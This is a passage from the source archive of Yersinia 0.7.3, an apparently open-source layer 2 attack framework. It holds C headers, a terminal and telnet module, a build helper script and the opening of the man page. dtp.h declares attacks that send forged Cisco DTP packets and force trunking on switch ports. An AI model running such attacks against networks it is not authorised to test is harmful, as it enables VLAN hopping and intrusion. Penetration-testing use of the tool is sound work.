"Supress_Go_Ahead",0 }, { OPT_STATUS, "Status",0 }, { OPT_TMARK, "Timing_Mark",0 }, { OPT_TTYPE, "Terminal_Type",0 }, { OPT_WSIZE, "Window_Size",0 }, { OPT_TSPEED, "Terminal_Speed",0 }, { OPT_RFLOW, "Remote_Flow",0 }, { OPT_LMODE, "Linemode",0 }, { OPT_ENVIRON, "Environ_Variables",0 } }; int8_t neg_default[]={ COM_IAC, COM_DONT, OPT_LMODE, /* Don't Linemode */ COM_IAC, COM_WILL, OPT_SGAHEAD, /* Will Supress Go Ahead */ COM_IAC, COM_WILL, OPT_ECHO, /* Will Echo */ COM_IAC, COM_DO, OPT_WSIZE, /* Do Negotiate Window Size */ COM_IAC, COM_DONT, OPT_TTYPE, /* Don't Negotiate Terminal Type */ COM_IAC, COM_DONT, OPT_ENVIRON, /* Don't send Environment Variables */ COM_IAC, COM_DONT, OPT_RFLOW, /* Don't Remote Flow Control */ COM_IAC, COM_DONT, OPT_TSPEED, /* Don't Terminal Speed */ COM_IAC, COM_DONT, OPT_STATUS /* Don't Status */ }; char *vty_motd[]={ "\r\n\r\nMOTD: Don't do it!! Don't do it!! Don't do it!!\r\n\t(Please DO IT)\r\n", "\r\n\r\nMOTD: Ghosts'n'Goblins, Trojan, Out Run, Bump'n'jump, Side Arms...\r\n", "\r\n\r\nMOTD: M4t30 31337 M4t30 31337 M4t30 31337 M4t30 31337 M4t30 31337\r\n", "\r\n\r\nMOTD: Be a good boy... (SSLBomb rulez)\r\n", "\r\n\r\nMOTD: I'm so 31337 that I can pronounce yersinia as yersiiiniiiiaaaa\r\n", "\r\n\r\nMOTD: Yersiiiiiiiiiiiniaaaa, you're breaking my heart!! - S&G (c) -\r\n", "\r\n\r\nMOTD: The nightly bird catches the worm ;)\r\n", "\r\n\r\nMOTD: Do you have an ISL capable Cisco switch? Share it!! ;)\r\n", "\r\n\r\nMOTD: Do you have any Alcatel or Juniper switch? Share it!! ;)\r\n", "\r\n\r\nMOTD: Do you have the new Denon AV amplifier with HDMI 1.3 support? Share it!! ;)\r\n", "\r\n\r\nMOTD: Zaragoza, Palencia, Soria... Nice spanish cities to live in, give them a try!\r\n", "\r\n\r\nMOTD: I would like to see romanian wild boars, could you invite me? :)\r\n\tMail me at slay _at_ yersinia.net\r\n", "\r\n\r\nMOTD: The world is waiting for... M-A-T-E-O!!!\r\n", "\r\n\r\nMOTD: Who dares wins\r\n", "\r\n\r\nMOTD: It's the voodoo who do what you don't dare to people!\r\n", "\r\n\r\nMOTD: Magic people, voodoo people!\r\n", "\r\n\r\nMOTD: Not one day goes by that I don't ride, 'til the infinite, the horse of my imagination\r\n", "\r\n\r\nMOTD: We need a fancy web, could you please help us?\r\n", "\r\n\r\nMOTD: Having lotto fun with my ProjectionDesign Action! Model Two... :)\r\n", "\r\n\r\nMOTD: Having lotto fun with my Audiovector Mi3 Avantgarde Arrete LE... :)\r\n", "\r\n\r\nMOTD: Having lotto fun with my Denon AVC-A11XVA... :)\r\n", "\r\n\r\nMOTD: My notebook is totally deprecated... gimme one!... :)\r\n", "\r\n\r\nMOTD: Kudos to daddy... wherever you are... :)\r\n", "\r\n\r\nMOTD: I'm waiting for the PS3 but i'm short of money... :'(\r\n", "\r\n\r\nMOTD: The Hakin9 magazine owe money to us... 500 Euros\r\n", "\r\n\r\nMOTD: Daniela blu-eyes... :)\r\n", "\r\n\r\nMOTD: Kudos to daddy... wherever you are... :)\r\n", "\r\n\r\nMOTD: Snowboard on the winter, MBK on the summer :)\r\n" }; struct term_states term_states[] = { { "LOGIN_STATE", "\r\nlogin: ", NULL, 0, 0, 0, 1, LOGIN_TIMEOUT }, { "PASSWORD_STATE", "password: ", NULL, 0, 0, 0, 0, LOGIN_TIMEOUT }, { "NORMAL_STATE", "yersinia> ", "Password:", 1, 1, 1, 1, TTY_TIMEOUT }, { "ENABLE_STATE", "yersinia# ", NULL, 1, 1, 1, 1, TTY_TIMEOUT }, { "PARAMS_STATE", NULL , NULL, 1, 0, 0, 1, TTY_TIMEOUT }, { "INTERFACE_STATE", "yersinia(if)# ", NULL, 1, 1, 1, 1, TTY_TIMEOUT } }; struct term_types term_type[] = { { "console", NULL, MAX_CON }, { "tty", NULL, MAX_TTY }, { "vty", NULL, MAX_VTY }, { "unknown", NULL, 0 } }; struct terminals *terms=NULL; #ifdef HAVE_RAND_R #ifdef SOLARIS int rand_r(unsigned int *); #endif #endif int8_t term_init(void); void term_destroy(void); int8_t term_add_node(struct term_node **, int8_t, int32_t, pthread_t); void term_delete_node(struct term_node *, int8_t); void term_delete_all(void); void term_delete_all_console(void); void term_delete_all_tty(void); void term_delete_all_vty(void); void term_delete_class(struct term_node *, int8_t); int8_t term_motd(void); int8_t term_write(struct term_node *, char *, u_int16_t); int8_t term_vty_banner(struct term_node *); int8_t term_vty_prompt(struct term_node *); int8_t term_vty_motd(struct term_node *); int8_t term_vty_negotiate(struct term_node *); int8_t term_vty_history_add(struct term_node *, char *, u_int16_t); int8_t term_vty_history_next(struct term_node *); int8_t term_vty_history_prev(struct term_node *); int8_t term_vty_history_get_slot(char *[], int8_t, int8_t); int8_t term_vty_mv_cursor_right(struct term_node *); int8_t term_vty_mv_cursor_left(struct term_node *); int8_t term_vty_mv_cursor_init(struct term_node *); int8_t term_vty_mv_cursor_end(struct term_node *); int8_t term_vty_supr(struct term_node *); int8_t term_vty_do_command(struct term_node *); int8_t term_vty_complete_command(struct term_node *); int8_t term_vty_backspace(struct term_node *); int8_t term_vty_help(struct term_node *); int8_t term_vty_help_tab(struct term_node *, int8_t); int8_t term_vty_auth(int8_t, char *, char *); void term_vty_clear_username(struct term_node *); void term_vty_clear_command(struct term_node *); int8_t term_vty_clear_remote(struct term_node *); int8_t term_vty_clear_line(struct term_node *, u_int16_t); int8_t term_vty_clear_screen(struct term_node *); int8_t term_vty_flush(struct term_node *); int8_t term_vty_write(struct term_node *, char *, u_int16_t); int8_t term_vty_more(struct term_node *node); int8_t term_vty_buffer_add(struct term_node *, void *, u_int16_t); int8_t term_vty_exit(struct term_node *); int8_t term_vty_set_words(struct term_node *, struct words_array *); void term_vty_free_words(struct words_array *); int8_t term_vty_tab_subst(struct term_node *, char *, char *); /* Extern functions...*/ extern void *admin_th_calloc_r(size_t); extern void admin_th_free_r(void *); extern void thread_error(char *, int8_t); extern void *thread_calloc_r(size_t); extern void thread_free_r(void *); #ifdef HAVE_REMOTE_ADMIN extern int8_t command_cls(struct term_node *, struct words_array *, int16_t, int8_t, int8_t); extern int8_t command_entry_point(struct term_node *, struct words_array *, int8_t, int8_t, int8_t); #endif extern int8_t interfaces_pcap_file_open(struct term_node *, u_int8_t, u_int8_t *, u_int16_t); extern int8_t interfaces_pcap_file_close(struct term_node *, u_int8_t); extern void attack_free_params(struct attack_param *, u_int8_t); extern int8_t attack_launch(struct term_node *, u_int16_t, u_int16_t, struct attack_param *, u_int8_t ); extern int8_t parser_filter_param(u_int8_t, void *, char *, u_int16_t, int16_t); extern int8_t interfaces_compare(void *, void *); extern struct term_tty *tty_tmp; #endif yersinia-0.7.3/src/commands.h0000644000175000017500000000550112234207266013714 0ustar nknk/* commands.h * Definitions for Cisco CLI commands * * $Id: commands.h 46 2007-05-08 09:13:30Z slay $ * * Yersinia * By David Barroso and Alfredo Andres * Copyright 2005, 2006, 2007 Alfredo Andres and David Barroso * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef __COMMANDS_H__ #define __COMMANDS_H__ #include "terminal-defs.h" #include "commands-struct.h" #include "interfaces.h" #include "attack.h" #include "parser.h" int8_t command_entry_point(struct term_node *, struct words_array *, int8_t, int8_t, int8_t); int8_t command_main(struct term_node *, struct words_array *, int16_t, int8_t, int8_t, u_int8_t, struct commands *, int8_t); int8_t command_list_help(struct term_node *, struct commands *, u_int8_t); int8_t command_list_help2(struct term_node *, char *, struct commands *, u_int8_t *, u_int8_t *, u_int8_t *, u_int8_t *, int8_t); int8_t command_bad_input(struct term_node *, int8_t); int8_t command_proto_attacks(struct term_node *, u_int16_t); int8_t command_run_attack(struct term_node *, u_int8_t, int8_t); int8_t show_interface_data(struct term_node *, struct interface_data *); extern struct terminals *terms; extern struct term_types term_type[]; extern struct term_states term_states[]; extern u_int32_t uptime; /* Extern functions...*/ extern int8_t term_vty_exit(struct term_node *); extern int8_t term_vty_flush(struct term_node *); extern int8_t term_vty_write(struct term_node *, char *, u_int16_t); extern int8_t term_vty_tab_subst(struct term_node *, char *, char *); extern int8_t attack_launch(struct term_node *, u_int16_t, u_int16_t, struct attack_param *, u_int8_t ); extern int8_t attack_init_params(struct term_node *, struct attack_param *, u_int8_t); extern int8_t init_attribs(struct term_node *); extern void parser_str_tolower( char *); extern int8_t parser_vrfy_mac( char *, u_int8_t * ); extern int8_t parser_vrfy_bridge_id( char *, u_int8_t * ); extern int8_t parser_filter_param(u_int8_t, void *, char *, u_int16_t, u_int16_t); extern void write_log( u_int16_t mode, char *msg, ... ); #endif /* vim:set tabstop=4:set expandtab:set shiftwidth=4:set textwidth=78: */ yersinia-0.7.3/src/ncurses-interface.h0000644000175000017500000001077612234207266015545 0ustar nknk/* ncurses_iallbacks.h * Definitions for the ncurses interfaces * * $Id: ncurses-interface.h 43 2007-04-27 11:07:17Z slay $ * * Yersinia * By David Barroso and Alfredo Andres * Copyright 2005, 2006, 2007 Alfredo Andres and David Barroso * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef __NCURSES_INTERFACE_H__ #define __NCURSES_INTERFACE_H__ #if defined(USE_NCURSES) && !defined(RENAMED_NCURSES) #include #else #include #endif #ifdef HAVE_PANEL_H #include #endif #include #include "thread-util.h" #include "terminal-defs.h" #include "admin.h" #include "interfaces.h" #include "attack.h" #include "parser.h" #define ERRORMSG_SIZE 512 #define NCURSES_MIN_ROWS 25 #define NCURSES_MIN_COLS 80 #define NCURSES_REFRESH_TIME 2 #define NCURSES_BWINDOW_SIZE 7 #define NCURSES_MWINDOW_MAX_FIELD_LENGTH 16 #define NCURSES_KEY_TIMEOUT 250 #define KEY_CTRL_L 12 #define PARAM_SCREEN 10 #define LIST_FILECAPS 9 #define LIST_ATTACKS 8 #define IFACE_SCREEN 7 #define MAIN_SCREEN 6 #define SEC_SCREEN 5 #define ATTACK_SCREEN 4 #define INFO_SCREEN 3 #define HELP_SCREEN 2 #define SPLASH_SCREEN 1 #define INFO_HEIGHT 13 #define INFO_WIDTH 44 #define MAX_PAD_HEIGHT 40 #define MAX_PAD_WIDTH 70 #define NCURSES_DEFAULT_MODE PROTO_STP #define VIEW_HEIGHT 15 #define VIEW_WIDTH 68 #if defined (TIOCGWINSZ) && defined (HAVE_NCURSES_RESIZETERM) #define CAN_RESIZE 1 #endif u_int8_t pointer[MAX_PROTOCOLS]; WINDOW *info_window; int8_t ncurses_i_init(WINDOW *[], PANEL *[], struct term_node *); void ncurses_i_add_node(void); void ncurses_i_splash_screen(WINDOW *, PANEL *); void ncurses_i_help_screen(u_int8_t, WINDOW *, PANEL *); void ncurses_i_attack_screen(struct term_node *, u_int8_t, WINDOW *, PANEL *); int8_t ncurses_i_attack_get_params(struct attack_param *, u_int8_t); /*int8_t ncurses_i_update_fields(struct attack_param *, u_int8_t, int8_t, int8_t);*/ void ncurses_i_get_printable_store(struct attack_param *, u_int8_t); void ncurses_i_ifaces_screen(struct term_node *, WINDOW *, PANEL *); int8_t ncurses_i_show_info(u_int8_t, WINDOW *, u_int8_t, struct term_node *); int8_t ncurses_i_view_packet(u_int8_t, WINDOW *, u_int8_t); void ncurses_i_list_attacks(WINDOW *, struct term_node *); void ncurses_i_list_filecaps(WINDOW *, struct term_node *); int8_t ncurses_i_error_window(u_int8_t, char *, ...); int32_t ncurses_i_popup_window(WINDOW *, const struct tuple_type_desc *, u_int8_t); int8_t ncurses_i_edit_tlv(struct term_node *, u_int8_t); int8_t ncurses_i_add_selected_tlv_type(WINDOW *, struct term_node *, u_int8_t); int8_t ncurses_i_del_selected_tlv(struct term_node *, u_int8_t, u_int8_t); int8_t ncurses_i_getstring_window(struct term_node *, char *, char *, u_int16_t, char *); int32_t ncurses_i_getconfirm(struct term_node *, char *, char *, char *); int8_t ncurses_i_get_mode(u_int8_t, WINDOW *); void resizeHandler(int); /* Global stuff */ extern void thread_error(char *, int8_t); extern u_int32_t uptime; extern struct term_tty *tty_tmp; extern int8_t parser_write_config_file(struct term_tty *); extern int8_t parser_get_formated_inet_address(u_int32_t, char *, u_int16_t); /* Terminal stuff */ extern struct terminals *terms; extern int8_t term_add_node(struct term_node **, int8_t, int32_t, pthread_t); /* Attack stuff */ extern int8_t attack_stp_learn_packet(void); extern int8_t attack_launch(struct term_node *, u_int16_t, u_int16_t, struct attack_param *, u_int8_t); extern int8_t attack_kill_th(struct term_node *, pthread_t ); extern int8_t attack_init_params(struct term_node *, struct attack_param *, u_int8_t); extern int8_t attack_filter_all_params(struct attack_param *, u_int8_t, u_int8_t *); extern void attack_free_params(struct attack_param *, u_int8_t); #endif /* vim:set tabstop=4:set expandtab:set shiftwidth=4:set textwidth=78: */ yersinia-0.7.3/src/ncurses-callbacks.h0000644000175000017500000000764712234207266015527 0ustar nknk/* ncurses_callbacks.h * Definitions for the ncurses callbacks * * $Id: ncurses-callbacks.h 43 2007-04-27 11:07:17Z slay $ * * Yersinia * By David Barroso and Alfredo Andres * Copyright 2005, 2006, 2007 Alfredo Andres and David Barroso * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef __NCURSES_CALLBACKS_H__ #define __NCURSES_CALLBACKS_H__ #if defined(USE_NCURSES) && !defined(RENAMED_NCURSES) #include #else #include #endif #ifdef HAVE_PANEL_H #include #endif #include #include "thread-util.h" #include "terminal-defs.h" #include "admin.h" #include "interfaces.h" #include "attack.h" #include "parser.h" #define ERRORMSG_SIZE 512 #define NCURSES_MIN_ROWS 25 #define NCURSES_MIN_COLS 80 #define NCURSES_REFRESH_TIME 2 #define NCURSES_BWINDOW_SIZE 7 #define NCURSES_KEY_TIMEOUT 250 #define KEY_CTRL_L 12 #define PARAM_SCREEN 10 #define LIST_FILECAPS 9 #define LIST_ATTACKS 8 #define IFACE_SCREEN 7 #define MAIN_SCREEN 6 #define SEC_SCREEN 5 #define ATTACK_SCREEN 4 #define INFO_SCREEN 3 #define HELP_SCREEN 2 #define SPLASH_SCREEN 1 #define INFO_HEIGHT 13 #define INFO_WIDTH 44 #define MAX_PAD_HEIGHT 40 #define MAX_PAD_WIDTH 70 #define VIEW_HEIGHT 15 #define VIEW_WIDTH 68 #if defined (TIOCGWINSZ) && defined (HAVE_NCURSES_RESIZETERM) #define CAN_RESIZE 1 #endif u_int8_t pointer[MAX_PROTOCOLS]; WINDOW *info_window; void ncurses_c_refresh_mwindow(u_int8_t, WINDOW *, u_int8_t, struct term_node *); void ncurses_c_refresh_bwindow(u_int8_t, WINDOW *, struct term_node *); void ncurses_c_refresh(void); void ncurses_c_engine(WINDOW *[], PANEL *[], struct term_node *); void ncurses_c_edit_bwindow(u_int8_t, WINDOW *, WINDOW *, struct term_node *); int8_t ncurses_c_learn_packet(u_int8_t, u_int8_t, struct term_node *); int8_t ncurses_c_set_status_line(char *); int8_t ncurses_c_term_resize(struct term_node *); int8_t ncurses_c_north(u_int8_t, u_int32_t, u_int32_t *, u_int32_t *, u_int8_t *, u_int32_t *); int8_t ncurses_c_south(u_int8_t, u_int32_t, u_int32_t *, u_int32_t *, u_int8_t *, u_int32_t *); int8_t ncurses_c_east(u_int8_t, u_int32_t, u_int32_t *, u_int32_t *, u_int8_t *, u_int32_t *); int8_t ncurses_c_west(u_int8_t, u_int32_t, u_int32_t *, u_int32_t *, u_int8_t *, u_int32_t *); void resizeHandler(int); /* Global stuff */ extern void thread_error(char *, int8_t); extern u_int32_t uptime; extern struct term_tty *tty_tmp; extern int8_t parser_write_config_file(struct term_tty *); extern int8_t parser_get_formated_inet_address(u_int32_t, char *, u_int16_t); /* Terminal stuff */ extern struct terminals *terms; extern int8_t term_add_node(struct term_node **, int8_t, int32_t, pthread_t); /* Attack stuff */ extern int8_t attack_stp_learn_packet(void); extern int8_t attack_launch(struct term_node *, u_int16_t, u_int16_t, struct attack_param *, u_int8_t); extern int8_t attack_kill_th(struct term_node *, pthread_t ); extern int8_t attack_init_params(struct term_node *, struct attack_param *, u_int8_t); extern int8_t attack_filter_all_params(struct attack_param *, u_int8_t, u_int8_t *); extern void attack_free_params(struct attack_param *, u_int8_t); #endif /* vim:set tabstop=4:set expandtab:set shiftwidth=4:set textwidth=78: */ yersinia-0.7.3/src/dtp.h0000644000175000017500000001705312234207266012707 0ustar nknk/* dtp.h * Definitions for Cisco's Dynamic Trunking Protocol * * $Id: dtp.h 46 2007-05-08 09:13:30Z slay $ * * Yersinia * By David Barroso and Alfredo Andres * Copyright 2005, 2006, 2007 Alfredo Andres and David Barroso * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef __DTP_H__ #define __DTP_H__ #include #include "terminal-defs.h" #include "interfaces.h" #define DTP_TYPE_DOMAIN 0x01 #define DTP_TYPE_STATUS 0x02 #define DTP_TYPE_TYPE 0x03 #define DTP_TYPE_NEIGHBOR 0x04 /* Status TOS/TAS */ #define DTP_ACCESS 0x00 #define DTP_TRUNK 0x80 #define DTP_ON 0x01 #define DTP_OFF 0x02 #define DTP_DESIRABLE 0x03 #define DTP_AUTO 0x04 #define DTP_UNKNOWN 0x05 /* Type TOT/TAT */ #define DTP_TOT_NATIVE 0x20 #define DTP_TOT_ISL 0x40 #define DTP_TOT_802_1Q 0xa0 #define DTP_TAT_NEGOTIATED 0x00 #define DTP_TAT_NATIVE 0x01 #define DTP_TAT_ISL 0x02 #define DTP_TAT_802_1Q 0x05 /* Default values */ #define DTP_DFL_VERSION 0x01 #define DTP_DFL_DOMAIN "\x0\x0\x0\x0\x0\x0\x0\x0" #define DTP_DFL_DOM_LEN 0x08 #define DTP_DFL_STATUS (DTP_ACCESS | DTP_DESIRABLE) #define DTP_DFL_TYPE (DTP_TOT_802_1Q | DTP_TAT_802_1Q) #define DTP_DOMAIN_SIZE 32 static const struct tuple_type_desc dtp_status[] = { { DTP_ACCESS|DTP_DESIRABLE, "ACCESS/DESIRABLE" }, { DTP_ACCESS|DTP_ON, "ACCESS/ON" }, { DTP_ACCESS|DTP_OFF, "ACCESS/OFF" }, { DTP_ACCESS|DTP_AUTO, "ACCESS/AUTO" }, { DTP_TRUNK|DTP_DESIRABLE, "TRUNK/DESIRABLE" }, { DTP_TRUNK|DTP_ON, "TRUNK/ON" }, { DTP_TRUNK|DTP_OFF, "TRUNK/OFF" }, { DTP_TRUNK|DTP_AUTO, "TRUNK/AUTO" }, { DTP_UNKNOWN, "UNKNOWN" }, { 0, NULL } }; static const struct tuple_type_desc dtp_type[] = { { DTP_TOT_802_1Q|DTP_TAT_802_1Q, "802.1Q/802.1Q" }, { DTP_TOT_802_1Q|DTP_TAT_ISL, "802.1Q/ISL" }, { DTP_TOT_802_1Q|DTP_TAT_NATIVE, "802.1Q/NATIVE" }, { DTP_TOT_802_1Q|DTP_TAT_NEGOTIATED, "802.1Q/NEGOTIATED" }, { DTP_TOT_ISL|DTP_TAT_ISL, "ISL/ISL" }, { DTP_TOT_ISL|DTP_TAT_802_1Q, "ISL/802.1Q" }, { DTP_TOT_ISL|DTP_TAT_NATIVE, "ISL/NATIVE" }, { DTP_TOT_ISL|DTP_TAT_NEGOTIATED, "ISL/NEGOTIATED" }, { DTP_TOT_NATIVE|DTP_TAT_802_1Q, "NATIVE/802.1Q" }, { DTP_TOT_NATIVE|DTP_TAT_ISL, "NATIVE/ISL" }, { DTP_TOT_NATIVE|DTP_TAT_NATIVE, "NATIVE/NATIVE" }, { DTP_TOT_NATIVE|DTP_TAT_NEGOTIATED, "NATIVE/NEGOTIATED" }, { 0, NULL } }; static struct proto_features dtp_features[] = { { F_LLC_CISCO, 0x2004 }, { -1, 0} }; /* DTP mode stuff */ struct dtp_data { u_int8_t mac_source[ETHER_ADDR_LEN]; u_int8_t mac_dest[ETHER_ADDR_LEN]; u_int8_t version; char domain[DTP_DOMAIN_SIZE+1]; u_int16_t dom_len; u_int8_t status; u_int8_t type; u_int8_t neighbor[ETHER_ADDR_LEN]; u_int8_t state; }; #define DTP_SMAC 0 #define DTP_DMAC 1 #define DTP_VERSION 2 #define DTP_NEIGH 3 #define DTP_STATUS 4 #define DTP_TYPE 5 #define DTP_DOMAIN 6 /* Struct needed for using protocol fields within the network client */ struct commands_param dtp_comm_params[] = { { DTP_SMAC, "source", "Source MAC", 6, FIELD_MAC, "Set source MAC address", " H:H:H:H:H:H 48 bit mac address", 17, 1, 0, NULL, NULL }, { DTP_DMAC, "dest", "Destination MAC", 6, FIELD_MAC, "Set destination MAC address", " H:H:H:H:H:H 48 bit mac address", 17, 1, 0, NULL, NULL }, { DTP_VERSION, "version","Version", 1, FIELD_HEX, "Set dtp version", " <0x00-0xFF> dynamic trunking version", 2, 2, 0, NULL, NULL }, { DTP_NEIGH, "neighbor", "Neighbor-ID", 6, FIELD_BYTES, "Set neighbor id", " HHHHHH 48 bit neighbor address", 12, 2, 1, NULL, NULL }, { DTP_STATUS, "status", "Status", 1, FIELD_HEX, "Set trunking status", " <0x00-0xFF> dynamic trunking status", 2, 2, 1, NULL, dtp_status }, { DTP_TYPE, "type", "Type", 1, FIELD_HEX, "Set trunking type", " <0x00-0xFF> dynamic trunking type", 2, 2, 0, NULL, dtp_type }, { DTP_DOMAIN, "domain", "Domain", DTP_DOMAIN_SIZE, FIELD_STR, "Set vtp domain name to use", " WORD Domain name", DTP_DOMAIN_SIZE, 3, 1, NULL, NULL }, { 0, "defaults", NULL, 0, FIELD_DEFAULT, "Set all values to default", " ", 0, 0, 0, NULL, NULL }, { 0, "interface", NULL, IFNAMSIZ, FIELD_IFACE, "Set network interface to use", " WORD Network interface", IFNAMSIZ, 0, 0, NULL, NULL } }; #define DTP_ATTACK_SEND 0 #define DTP_ATTACK_DO_TRUNK 1 void dtp_th_send(void *); void dtp_th_send_exit(struct attacks *); void dtp_th_nondos_do_trunk(void *); void dtp_th_nondos_do_trunk_exit(struct attacks *); static struct attack dtp_attack[] = { { DTP_ATTACK_SEND, "sending DTP packet", NONDOS, SINGLE, dtp_th_send, NULL, 0 }, { DTP_ATTACK_DO_TRUNK, "enabling trunking", NONDOS, CONTINOUS, dtp_th_nondos_do_trunk, NULL, 0 }, { 0, NULL, 0, 0, NULL, NULL, 0 } }; void dtp_register(void); int8_t dtp_send(struct attacks *); int8_t dtp_init_attribs(struct term_node *); int8_t dtp_learn_packet(struct attacks *, char *, u_int8_t *, void *, struct pcap_pkthdr *); char **dtp_get_printable_packet(struct pcap_data *); char **dtp_get_printable_store(struct term_node *); int8_t dtp_load_values(struct pcap_data *, void *); void dtp_send_negotiate(void *); int8_t dtp_update_data(int8_t, int8_t, int8_t, struct term_node *); int8_t dtp_update_field(int8_t, struct term_node *, void *); int8_t dtp_init_comms_struct(struct term_node *); int8_t dtp_end(struct term_node *); extern void thread_libnet_error( char *, libnet_t *); extern int8_t thread_create(pthread_t *, void *, void *); extern void write_log( u_int16_t mode, char *msg, ... ); extern int8_t attack_th_exit(struct attacks *); extern void attack_gen_mac(u_int8_t *); extern struct interface_data *interfaces_get_packet(list_t *, struct interface_data *, u_int8_t *, struct pcap_pkthdr *, u_int8_t *, u_int16_t, time_t); extern int8_t parser_vrfy_mac(char *, u_int8_t *); extern int8_t parser_filter_param(u_int8_t, void *, char *, u_int16_t, int32_t, int32_t); extern int8_t parser_command2index(register const struct attack *, register int8_t); extern struct terminals *terms; extern int8_t bin_data[]; extern int8_t term_vty_write(struct term_node *, char *, u_int16_t); extern int8_t command_bad_input(struct term_node *, int8_t); #endif yersinia-0.7.3/src/dlist.h0000644000175000017500000000431512234207266013234 0ustar nknk/* dlist.h * Definitions for dynamic lists * taken from http://www.vorlesungen.uos.de/informatik/cc02/src/dlist/dlist.h * * $Id: dlist.h 43 2007-04-27 11:07:17Z slay $ * * Yersinia * By David Barroso and Alfredo Andres * Copyright 2005, 2006, 2007 Alfredo Andres and David Barroso * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef _DLIST_H_ #define _DLIST_H_ #ifdef HAVE_PTHREAD_H #include #endif #ifdef SOLARIS typedef uint32_t u_int32_t; typedef uint16_t u_int16_t; typedef uint8_t u_int8_t; #endif struct dlist { void *data; struct dlist *next; struct dlist *prev; }; typedef struct dlist dlist_t; struct list { dlist_t *list; int8_t (*cmp)(void *, void *); pthread_mutex_t mutex; }; typedef struct list list_t; void* dlist_data(dlist_t *list); dlist_t* dlist_next(dlist_t* list, dlist_t* p); dlist_t* dlist_prev(dlist_t* list, dlist_t* p); dlist_t* dlist_append(dlist_t *list, const void *data); dlist_t* dlist_prepend(dlist_t *list, const void *data); dlist_t* dlist_remove(dlist_t *list, const void *data); dlist_t* dlist_delete(dlist_t *list); u_int32_t dlist_length(dlist_t *list); dlist_t* dlist_last(dlist_t *list); void dlist_foreach(dlist_t *list, void (*func) (void *data, void *user), void *user); dlist_t* dlist_find(dlist_t *list, const void *data); dlist_t* dlist_search(dlist_t *list, int8_t (*cmp) (void *data, void *pattern), void *pattern); extern void write_log( u_int16_t mode, char *msg, ... ); #endif yersinia-0.7.3/mkinstalldirs0000755000175000017500000000370412234207266013764 0ustar nknk#! /bin/sh # mkinstalldirs --- make directory hierarchy # Author: Noah Friedman # Created: 1993-05-16 # Public domain errstatus=0 dirmode="" usage="\ Usage: mkinstalldirs [-h] [--help] [-m mode] dir ..." # process command line arguments while test $# -gt 0 ; do case $1 in -h | --help | --h*) # -h for help echo "$usage" 1>&2 exit 0 ;; -m) # -m PERM arg shift test $# -eq 0 && { echo "$usage" 1>&2; exit 1; } dirmode=$1 shift ;; --) # stop option processing shift break ;; -*) # unknown option echo "$usage" 1>&2 exit 1 ;; *) # first non-opt arg break ;; esac done for file do if test -d "$file"; then shift else break fi done case $# in 0) exit 0 ;; esac case $dirmode in '') if mkdir -p -- . 2>/dev/null; then echo "mkdir -p -- $*" exec mkdir -p -- "$@" fi ;; *) if mkdir -m "$dirmode" -p -- . 2>/dev/null; then echo "mkdir -m $dirmode -p -- $*" exec mkdir -m "$dirmode" -p -- "$@" fi ;; esac for file do set fnord `echo ":$file" | sed -ne 's/^:\//#/;s/^://;s/\// /g;s/^#/\//;p'` shift pathcomp= for d do pathcomp="$pathcomp$d" case $pathcomp in -*) pathcomp=./$pathcomp ;; esac if test ! -d "$pathcomp"; then echo "mkdir $pathcomp" mkdir "$pathcomp" || lasterr=$? if test ! -d "$pathcomp"; then errstatus=$lasterr else if test ! -z "$dirmode"; then echo "chmod $dirmode $pathcomp" lasterr="" chmod "$dirmode" "$pathcomp" || lasterr=$? if test ! -z "$lasterr"; then errstatus=$lasterr fi fi fi fi pathcomp="$pathcomp/" done done exit $errstatus # Local Variables: # mode: shell-script # sh-indentation: 2 # End: # mkinstalldirs ends here yersinia-0.7.3/yersinia.80000644000175000017500000003022612234207266013071 0ustar nknk.\" Man page for Yersinia .\" ===================== .\" Authors: Alfredo and David .\" .\" $Id: yersinia.8 43 2007-04-27 11:07:17Z slay $ .\" .\" .TH "YERSINIA" "8" "$Date: 2007/04/28 22:48:40 $" "Yersinia v0.7" "" .SH "NAME " .B Yersinia \- A Framework for layer 2 attacks .SH "SYNOPSIS " \fByersinia\fR [\fB\-hVGIDd\fR] [\fB\-l\fR \fIlogfile\fR] [\fB\-c\fR \fIconffile\fR] \fIprotocol\fR [\-M] [\fIprotocol_options\fR] .SH "DESCRIPTION " .B yersinia is a framework for performing layer 2 attacks. The following 